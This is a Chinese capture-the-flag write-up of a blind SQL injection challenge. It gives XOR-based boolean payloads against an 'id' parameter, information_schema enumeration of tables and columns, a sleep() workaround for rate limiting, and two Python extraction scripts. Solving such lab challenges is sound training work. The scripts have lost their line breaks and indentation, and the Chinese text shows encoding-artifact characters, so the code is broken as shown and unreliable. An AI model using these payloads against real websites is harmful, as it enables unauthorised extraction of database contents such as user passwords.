1、這題的關(guān)鍵是找注入點(diǎn)，如果選擇用戶名、密碼作為輸入點(diǎn)就麻煩了

2、注入點(diǎn)：按鈕，點(diǎn)擊就傳id；當(dāng)id=1時(shí)，提示Click others
　　可以利用id的特性，構(gòu)造異或匹配
　　payload: f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"
　　payload有兩個(gè)異或：1^表達(dá)式^1
　　如果中間為真，則返回1，那么
　　01^01（前異或）=00^01（后異或）=01=1 —— id=1 —— 也就是提示Click others
　　如果中間為假，則返回0，那么
　　00^01（前異或）=01^01（后異或）=00=0 —— id=0 —— 也就是提示Error

3、查出表名：1n1yl\11yaa（這個(gè)結(jié)果錯(cuò)誤的，通過(guò)下面的查詢(xún)，查不出列）（查看re后發(fā)現(xiàn)，請(qǐng)求會(huì)提示429，too many requests）
　　解決方法：查詢(xún)頻率太高了，使用**time.sleep(0.2)**解決
　　查出表名：F1naI1y,Flaaaaag

4、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=Flaaaaag)),{j},1))={i})^1"
　　查出列名：id,fl4gawsl（查到NO!NO!說(shuō)明flag不在這個(gè)表）

5、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=F1naI1y)),{j},1))={i})^1"
　　查出列名：id,username,password

6、payload: f"1^(ord(substr((select(password)from(F1naI1y)),{j},1))={i})^1"
跑了半小時(shí)得到：cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www. ，還是沒(méi)有拿到flag，速度太慢了
換二分法得到：flag=cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{f1319cf3-b1e6-46d6-9473-c857240bcdee}
注意：不論是什么方法，sleep都必須要，否則頻率太高就查不出來(lái)了

腳本：速度太慢

s = requests.session()
url = "http://29cc5d3e-b351-41f6-9266-205c0e2f9064.node4.buuoj.cn:81/search.php?id="
result = ""
for j in range(1,10000):for i in range(1,128):#過(guò)濾空格、and等關(guān)鍵字payload = f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"#payload = f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='1n1yl')),{j},1))>{i})^1"data={"id":payload}time.sleep(0.2)re = s.get(url+payload).text#re = s.post(url,data).text#print(url+payload)#print(re)if "Click" in re:result += chr(i)print(result)break

腳本：二分法

def payload(i, j):sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)time.sleep(0.06)# print (r.url)if "Click" in r.text:res = 1else:res = 0return res
def exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break#print(f)flag += chr(f)print(flag)
exp()
print('flag=', flag)